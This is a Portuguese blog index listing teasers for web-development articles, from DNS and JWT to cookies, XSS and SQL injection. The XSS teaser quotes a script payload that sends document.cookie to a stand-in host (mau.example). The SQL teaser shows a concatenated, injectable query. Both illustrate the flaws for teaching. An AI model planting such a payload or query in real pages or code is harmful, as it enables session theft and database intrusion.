Escreve-se um endereço e a página aparece. Pelo meio há uma cadeia de perguntas que vale a pena conhecer — nem que seja para saber onde olhar quando um site "não abre só para si". 1. A cadeia O browser precisa de um número — 185.199.108.153 — e só tem um nome. Para o descobrir, pergunta a um resolve…
Ler o artigo→Aparece num site antigo, numa importação de CSV, num email. E não é um caractere estranho — é a mesma letra , lida com a tabela errada. 1. O que se passa Em UTF-8, o "ç" não cabe num byte: são dois, 0xC3 e 0xA7 . Se alguém ler esses dois bytes como se fossem Latin-1 — uma tabela onde cada byte é uma…
Ler o artigo→O JavaScript tem uma thread só. É a mesma que corre o seu código, responde aos cliques e desenha a página — e é por isso que um ciclo pesado congela tudo, incluindo o cursor a piscar numa caixa de texto. 1. O modelo, em três peças A pilha — o que está a correr agora. Uma coisa de cada vez. As tarefa…
Ler o artigo→O JSON Web Token é três blocos de texto separados por pontos. Vale a pena saber exatamente o que cada um faz, porque quase todos os erros com JWT vêm de lhe atribuir propriedades que ele não tem. eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMiLCJub21lIjoiQW5hIn0.4pcPyMD09olPSyXnrXCjTw └── cabeçalho ──────┘ └─…
Ler o artigo→É provavelmente a mensagem mais copiada para o Google em toda a história do desenvolvimento web: Access to fetch at 'https://api.exemplo.pt/dados' from origin 'https://meusite.pt' has been blocked by CORS policy E a reação mais comum é a errada: procurar como "desligar o CORS" no browser. 1. Quem bl…
Ler o artigo→Um cookie de sessão são três atributos e um problema. Vale a pena perceber os três, porque cada um fecha uma porta diferente. Set-Cookie: sessao=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=604800 1. HttpOnly — contra o XSS O JavaScript da página não consegue ler o cookie. Se alguém conse…
Ler o artigo→É das discussões mais antigas em qualquer equipa, e tem uma regra simples por baixo de todo o barulho. 1. O que cada um faz O merge junta dois ramos com um commit novo. A história fica como aconteceu: dois caminhos que se encontraram. * 9f2a1b merge do ramo funcionalidade |\ | * 7b2e44 acrescenta va…
Ler o artigo→Um comentário com isto lá dentro: <script>fetch('https://mau.example?c=' + document.cookie)</script> Se a página o mostrar como HTML, o script corre no browser de quem visita , com a sessão de quem visita. É o cross-site scripting , e continua a ser a vulnerabilidade mais comum na web. 1. Os três sa…
Ler o artigo→Uma base de dados acaba por sair. Acontece a empresas com equipas de segurança a sério, e vai acontecer ao seu projeto de fim de semana. A pergunta que interessa não é se alguém a vai ler — é o que essa pessoa encontra lá dentro. 1. O que nunca se faz Guardar em texto simples. Não precisa de explica…
Ler o artigo→Tem quase trinta anos, está no topo das listas de vulnerabilidades desde que há listas, e continua a aparecer. A causa é sempre a mesma linha de código: const sql = "SELECT * FROM utilizadores WHERE email = '" + email + "'"; 1. O que acontece Se o email for [email protected] , a consulta é a esperada. …
Ler o artigo→Três comandos para desfazer coisas, e a confusão entre eles é responsável por boa parte do trabalho perdido em Git. A diferença resume-se a o que é que cada um mexe . 1. Deitar fora alterações que ainda não foram comitadas # Um ficheiro, como está no último commit git restore src/servidor.ts # Tirar…
Ler o artigo→